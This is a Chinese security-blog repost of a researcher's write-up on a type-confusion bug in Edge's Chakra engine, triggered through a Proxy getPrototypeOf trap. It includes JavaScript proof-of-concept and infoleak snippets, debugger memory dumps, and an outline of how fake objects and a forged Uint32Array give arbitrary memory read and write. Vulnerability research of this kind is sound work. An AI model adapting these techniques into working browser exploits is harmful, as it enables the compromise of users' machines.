记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Three roads lead to Rome

2016-12-02 01:25

在过去的两年里一直关注于浏览器方面的研究,主要以Fuzz为主,fuzzing在用户态的漏洞挖掘中,无论是漏洞质量还是CVE产出一直效果不错。直到一些大玩家的介入,以及大量的fuzzer在互联网公开,寻找bug需要更苛刻的思路。后来Edge中使用的MemGC使fuzz方式找漏洞更加困难,fuzz出仅有的几个能用的漏洞还总被其他人撞掉,因为大家的fuzzer是越长越像。于是今年上半年pwn2own之后开始更多的源码审计并有了些效果,起初认为存量足够了,但大概在7月份左右开始,手头的bug以每月2+的速度被撞掉(MS、ChakraCodeTeam、ZDI、Natalie、360…),本文描述的bug也是其中一个。因为这个漏洞的利用方式还是比较有趣的,经历了几次改变,值得说一下。

The Bug

var intarr = new Array(1, 2, 3, 4, 5, 6, 7)

var arr = new Array(alert)

arr.length = 24

arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})

arr.__proto__.reverse = Array.prototype.reverse

arr.reverse()

Root Cause

出问题的代码如下:

\

有很多地方都引用了这样的逻辑,JavascriptArray::EntryReverse只是其中的一个触发路径。开发人员默认了Array的类型,认为传入ForEachOwnMissingArrayIndexOfObject

的prototype一定是Var Array,如下图:

\

当然,通常一个Array赋值为proto时,会被默认转化成Var Array,例如:

var x = {}

x.__proto__ = [1,2,3]

查看x的属性:


0:009> dqs 0000022f`c251e920 l1

0000022f`c251e920 00007ffd`5b743740 chakra!Js::JavascriptArray::`vftable’

0:009> dq poi(0000022f`c251e920+28)

0000022f`c23b40a0 00000003`00000000 00000000`00000011

0000022f`c23b40b0 00000000`00000000 00010000`11111111

0000022f`c23b40c0 00010000`22222222 00010000`33333333

0000022f`c23b40d0 80000002`80000002 80000002`80000002

但ES6中Proxy的出现使代码逻辑变得更复杂,很多假设也不见得正确了,

Proxy的原型如下

\

它可以监控很多类型的事件,换句话说,可以打断一些操作过程,并处理我们自己的逻辑,返回我们自定义的数据。

其中有这样的一个handler:

\

可以在prototype = prototype->GetPrototype();进入trap流程,进入我们自定义的JavaScript user callback中。

如果返回一个JavascriptNativeIntArray类型的Array,则会导致默认的假设不成立,从而出现各种问题。

其实不仅是JavascriptNativeIntArray类型,只要不是JavascriptArray类型的数组,

都会因为与期望不同而或多或少出现问题,比如

JavascriptNativeFloatArray

JavascriptCopyOnAccessNativeIntArray

ES5Array…

下面看看使用这种”混淆”的能力,我们能做些什么

首先重新总结下这个bug:

1.我们有两个数组,Array_A和Array_B

2.在Array_B中用Var的方式(e.GetItem())取出一个item,放入Array_A中

3.两个Array的类型可以随意指定

可以进一步转化成如下问题:

1.伪造对象:

Array_A为JavascriptArray类型

Array_B为JavascriptNativeIntArray/JavascriptNativeFloatArray等可以控制item数据

类型的数组,则

value = e.GetItem()

this->SetItem(index, value, PropertyOperation_None);

操作后,在Array_A[x]中可以伪造出指向任意地址的一个Object。

2.越界读

Array_A为JavascriptArray类型

Array_B为JavascriptNativeIntArray类型

因为JavascriptNativeIntArray中元素的大小为4字节,所以通过Var的方式读取会超过Array_B的边界

为什么不在Array_A上做文章?

因为最终的赋值操作是通过SetItem完成的,即使Array_A初始化成JavascriptNativeIntArray/JavascriptNativeFloatArray等类型,最终还是会根据item的类型转换为JavascriptArray类型。

下面进入漏洞利用的部分,一个漏洞的三种利用

0x1

最初对”越界读”这个能力没有什么进一步的利用思路,而当时手头又有很多信息泄露的漏洞,于是exploit = leak + fakeObj

下面这个infoleak可以泄露任何对象的地址,当然已经被补掉了


function test() {

var x = []

var y = {}

var leakarr = new Array(1, 2, 3)

y.__defineGetter__(“1”, function(){x[2] = leakarr; return 0xdeadbeef})

x[0] = 1.1

x[2] = 2.2

x.__proto__ = y

function leak() {

alert(arguments[2])

}

leak.apply(1, x)

}

要在一个固定地址处伪造对象,我们需要两个条件:

1.一个数据可控buffer的地址

2.虚表地址,也即chakra模块基址

对于1可以选择head和segment连在一起的Array


0000022f`c23b40a0 00007ffd`5b7433f0 0000022f`c2519c80

0000022f`c23b40b0 00000000`00000000 00000000`00000005

0000022f`c23b40c0 00000000`00000012 0000022f`c23b40e0

0000022f`c23b40d0 0000022f`c23b40e0 0000022f`c233c280

0000022f`c23b40e0 00000012`00000000 00000000`00000012

0000022f`c23b40f0 00000000`00000000 77777777`77777777

0000022f`c23b4100 77777777`77777777 77777777`77777777

0000022f`c23b4110 77777777`77777777 77777777`77777777

0000022f`c23b4120 77777777`77777777 77777777`77777777

0000022f`c23b4130 77777777`77777777 77777777`77777777

buffer地址为leak_arr_addr+0x58,但这个方案有个限制,初始元素个数不能超过SparseArraySegmentBase::HEAD_CHUNK_SIZE

相关代码如下:


className* JavascriptArray::New(uint32 length, …)

if(length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)

{

return RecyclerNew(recycler, className, length, arrayType);

}



array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);

SparseArraySegment *head =

InitArrayAndHeadSegment(array, 0, alignedInlineElementSlots, true);

所以在伪造对象时需要精准利用有限的空间

对于条件2,可以在1的基础上,伪造UInt64Number通过parseInt接口触发JavascriptConversion::ToString来越界读取后面的虚表,从而泄露chakra基址。

相关代码如下:

JavascriptString *JavascriptConversion::ToString(Var aValue, …)



case TypeIds_UInt64Number:

{

unsigned __int64 value = JavascriptUInt64Number::FromVar(aValue)->GetValue();

if (!TaggedInt::IsOverflow(value))

{

return scriptContext->GetIntegerString((uint)value);

}

else

{

return JavascriptUInt64Number::ToString(aValue, scriptContext);

}

}

经过内存布局以及伪造Uint64Number,可以泄露出某个Array的vtable,如下:

\

最后,通过伪造Uint32Array来实现全地址读写,需要注意的是,一个Array.Segment的可控空间有限,无法写下Uint32Array及ArrayBuffer的全部字段,但其实很多字段在AAW/AAR中不会使用,并且可以复用一些字段,实现起来没有问题。

知识来源: www.2cto.com/article/201612/571782.html

阅读:117458 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“Three roads lead to Rome”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云